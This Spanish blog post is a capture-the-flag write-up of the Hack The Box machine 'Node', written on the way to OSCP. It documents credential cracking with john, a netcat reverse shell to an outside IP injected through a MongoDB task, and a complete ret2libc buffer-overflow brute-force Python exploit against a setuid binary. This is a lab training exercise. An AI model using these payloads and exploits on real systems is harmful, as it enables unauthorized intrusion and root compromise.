Road to OSCP - Hack The Box Write Up - Node

Blog

29
- Sept
2019
Road to OSCP - Hack The Box Write Up - Node

Hack the Box es una plataforma en línea para probar y mejorar tus habilidades en pruebas de penetración y ciberseguridad.

En esta serie de artículos mostraremos cómo los evaluadores junior completan algunas máquinas de Hack The Box en su camino hacia OSCP, una certificación muy conocida, respetada y requerida para muchos puestos de ciberseguridad. Los certificados OSCP son capaces de identificar las vulnerabilidades existentes y ejecutar ataques organizados de manera controlada. Pueden aprovechar o modificar el código de exploits existentes en su beneficio, realizar pivoting en la red y exfiltrar datos, y comprometer los sistemas debido a configuraciones deficientes.

¡Empecemos con la diversión!

Node

Initial Foothold

Hay una página web en el puerto 3000. El cálculo de los directorios es difícil porque la página regresa código 200 para las páginas que no existen.

Una forma más fiable de enumerar es enviar una solicitud a la página a través de Burp Suite, luego navegar la pestaña Target y echa un vistazo a los directorios encontrados por el escaneo pasivo de Burp. Uno de estos El directorio es API/usuarios que contiene un archivo JSON con nombres de usuario y contraseñas.

0
_id "59a7365b98aa325cc03ee51c"
username    "myP14ceAdm1nAcc0uNT"
password    "dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af"
is_admin    true
1
_id "59a7368398aa325cc03ee51d"
username    "tom"
password    "f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240"
is_admin    false
2
_id "59a7368e98aa325cc03ee51e"
username    "mark"
password    "de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73"
is_admin    false
3
_id "59aa9781cced6f1d1490fce9"
username    "rastating"
password    "5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0"
is_admin    false

Podemos usar john para descifrar las contraseñas: john -wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt credentials.txt --format=Raw-SHA256

Resultados:

  1. tom:spongebob
  2. miP14ceAdm1nAcc0uNT:manchester
  3. mark:snowflake

Podemos usar estas credenciales para entrar en 10.10.10.58:3000/login.

Si entramos como un usuario que no es un admin (tom y mark) obtenemos un mensaje diciendo que sólo admin el usuario tiene acceso al panel de control. Si nos registramos como myP14ceAdm1nAcc0uNT, tenemos acceso a un backup: myplace.backup.

El archivo de respaldo está codificado en base64: base64 -d myplace.backup > backup_decoded. Luego haciendo unzip backup_decoded revela que es un archivo zip. Si intentamos usar unzip backup_decoded encontramos que tiene una contraseña, así que podemos tratar de descifrarlo con John.

Para descifrar la contraseña del zip, primero hacemos zip2john backup_decoded > zip.hash y luego... john -wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt zip.hash. El zip La contraseña es: magicword.

Buscando a través de la copia de seguridad, en app.js encontramos la siguiente cadena: const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace';

5AYRft73VtFpc84k: parece otra contraseña para el usuario mark. Resulta que es su ssh Contraseña: ssh mark@10.10.10.58.

User

Usando pspy, encontramos lo siguiente: CMD: UID=1000 PID=1208 | /usr/bin/node /var/scheduler/app.js

Donde UID=1000 significa el usuario bottom (compruébalo haciendo cat /etc/passwd).

Mirando en var/scheduler/app.js vemos que ejecuta un comando de shell basado en una propiedad para el documento de MongoDB se llama tasks. También muestra que el nombre de la base de datos es programmer. const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler?authMechanism=DEFAULT&authSource=scheduler';

Comencemos por conectar con la base de datos: mongo -p -u mark scheduler. Y cuando se le pide un uso de la contraseña: 5AYRft73VtFpc84k.

Crear la propiedad del documento

Crearemos un atributo llamado cmd con el valor de un shell invertido. Por alguna razón el bash El shell inverso no funciona, se conecta con éxito pero no recibo ninguna salida de los comandos. Como alternativa, podemos usar un shell inversa de Netcat.

db.tasks.insert( { "cmd" : "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.44 12345 >/tmp/f" } )

Espera unos segundos y obtenemos un shell inversa como usuario bottom.

Root

Usando lse.sh encontramos un inusual setuid binario: usr/local/bin/backup.

Si recordamos, en el archivo var/www/myplace/app.js, llama a este binario con cierto argumentos: var proc = spawn('/usr/local/bin/backup', ['-q', backup_key, __dirname ]);

Donde la clave de copia de seguridad = 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474.

TLDR

Hay una vulnerabilidad de desbordamiento de búfer en este binario (en el argumento dirname), sin embargo tiene protecciones NX y ASLR, así que tenemos que trabajar alrededor de ellas. La solución es volver al ataque de la libreria mientras se fuerza el ASLR.

Paso 1. Encontrar una función vulnerable

Necesitamos realizar un análisis estático para encontrar una función vulnerable. En este caso va a ser strcopy dentro de la función displayTarget, que muestra el directorio de destino cuando el binario es Corre sin la bandera de q. Esto significa que tenemos que realizar el desbordamiento en el tercer parámetro: el directorio de destino.

El binario todavía requiere 3 parámetros para ser ejecutado, pero podemos sustituir el q por una cadena aleatoria y seguirá funcionando.

Pruebe que el desbordamiento funciona llamándolo con un fuerte absurdamente largo como: python3 -c "print('A' * 800)"

Si funciona, el programa debería fallar con un fallo de segmento.

Paso 2. Encuentra la longitud del desbordamiento

Ahora, necesitamos saber en qué punto sobrescribimos el registro del puntero de instrucciones. Para eso un práctico La herramienta en Db-peda es Pattern_create.

Sin embargo, en este caso en particular, las listas negras binarias de algunos de los caracteres utilizados por Pattern_create, así que tenemos que recurrir al método manual de usar Python.

Por ejemplo, usa python -c "print('A' * 600 + 'B' * 4)". Iterar hasta que el puntero de la instrucción sea sobrescrita con 0x42424242. Cuando eso sucede, la cantidad de A es la longitud de nuestro buffer de desbordamiento (512 en este caso).

Paso 3. Encontrar la dirección base de libc

Haciendo: ldd /usr/local/bin/backup | grep libc obtenemos algo como esto como salida: libc.so.6 => /lib32/libc.so.6 (0xf7606000)

Si repetimos el comando varias veces y la dirección cambia, significa que el ASLR está activado. Por suerte para nosotros, la dirección no cambia mucho, así que la solución será forzar la dirección.

Paso 4. Encontrar las compensaciones relevantes

ASLR sólo cambia la dirección base de Libc, pero cualquier función contenida en ella siempre estará en el mismo desplazamiento. Por esta razón, necesitamos encontrar el desplazamiento para el sistema de llamadas del sistema y la cadena bin/sh.

IMPORTANTE: Cada desplazamiento debe ser rellenado con 0 a la izquierda para que sea de 32 bits (8 caracteres).

Para encontrar el system de compensación: readelf -s /lib32/libc.so.6 | grep system. Se obtendrá algo como esto:

245: 00110820 68 FUNC GLOBAL DEFAULT 13 svcerr_systemerr@@GLIBC_2.0
   627: 0003a940 55 FUNC GLOBAL DEFAULT 13 __libc_system@@GLIBC_PRIVATE
  1457: 0003a940 55 FUNC DÉBIL DEFECTO 13 sistema@@GLIBC_2.0

La compensación que buscamos es 0003a940.

Para la cadena bin/sh: strings -a -t x /lib32/libc.so.6 | grep /bin/sh. Output: 15900b /bin/sh

(Opcional) Compensación de salida

Si no queremos que el binario se estrelle cuando terminemos de explotarlo, debemos encontrar el punto de salida. readelf -s /lib32/libc.so.6 | grep exit. Output:

112: 0002eba0    39 FUNC    GLOBAL DEFAULT   13 __cxa_at_quick_exit@@GLIBC_2.10
   141: 0002e7b0    31 FUNC    GLOBAL DEFAULT   13 exit@@GLIBC_2.0
   450: 0002ebd0   181 FUNC    GLOBAL DEFAULT   13 __cxa_thread_atexit_impl@@GLIBC_2.18
   558: 000af578    24 FUNC    GLOBAL DEFAULT   13 _exit@@GLIBC_2.0
   616: 00113840    56 FUNC    GLOBAL DEFAULT   13 svc_exit@@GLIBC_2.0
   652: 0002eb80    31 FUNC    GLOBAL DEFAULT   13 quick_exit@@GLIBC_2.10
   876: 0002e9d0    85 FUNC    GLOBAL DEFAULT   13 __cxa_atexit@@GLIBC_2.1.3
  1046: 0011d290    52 FUNC    GLOBAL DEFAULT   13 atexit@GLIBC_2.0
  1394: 001b0204     4 OBJECT  GLOBAL DEFAULT   32 argp_err_exit_status@@GLIBC_2.1
  1506: 000f19a0    58 FUNC    GLOBAL DEFAULT   13 pthread_exit@@GLIBC_2.0
  2108: 001b0154     4 OBJECT  GLOBAL DEFAULT   32 obstack_exit_failure@@GLIBC_2.0
  2263: 0002e7d0    78 FUNC    WEAK   DEFAULT   13 on_exit@@GLIBC_2.0
  2406: 000f2db0     2 FUNC    GLOBAL DEFAULT   13 __cyg_profile_func_exit@@GLIBC_2.2

La compensación que buscamos es: 0002e7d0.

Paso 5. Escribir el script

Con toda la información que hemos reunido hasta ahora, estamos listos para escribir un script que automatiza el ataque de fuerza bruta. En este caso el script está escrito en Python 3, probado en versión 3.5.2 (la versión Python 3 de la víctima).

exploit.py

#!/usr/bin/python3

from subprocess import call
import struct

backup_key = "45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474"
libc_base_addr = 0xf7610000

# Offsets
system_off = 0x0003a940
exit_off = 0x0002e7d0
arg_sh_off = 0x0015900b

system_off = struct.pack("<I", libc_base_addr + system_off)
exit_off = struct.pack("<I", libc_base_addr + exit_off)
arg_sh_off = struct.pack("<I", libc_base_addr + arg_sh_off)

buff = b"A"*512
buff += system_off
buff += exit_off
buff += arg_sh_off

# After checking the address of libc, we see that it only changes in about 9 bits = 512
# possibilities.
for i in range(512):
    print("Tries: %s" %i)
    ret = call(["/usr/local/bin/backup", "69", backup_key, buff])

Ahora podemos Modificar +x exploit.py y ejecutarlo Explot.py. No sé si tuve suerte, pero tengo una shell de root alrededor del intento número 40.

Ángel Guzmán/Evaluador Junior

Grado y Master en Ingeniería de Tecnologías de Telecomunicación por la Universidad de Granda, especializado en telématica. Se unió a jtsec en noviembre de 2019 como evaluador de ciberseguridad Junior.

Desde su unión a jtsec, ha participado en varios proyectos internos de hardware hacking y ha recibido formación sobre la certificación LINCE.

Su principal motivación es aprender, desde pequeñas herramientas para su trabajo diario hasta nuevas tecnologías.


Contacto

¡Envíanos tus dudas o sugerencias!

Al enviar tus datos nos permites que los usemos para resolver tus dudas enviándote información comercial de tu interés. Los suprimiremos cuando dejen de ser necesarios para esto. Infórmate de tus derechos en nuestra Política de Privacidad.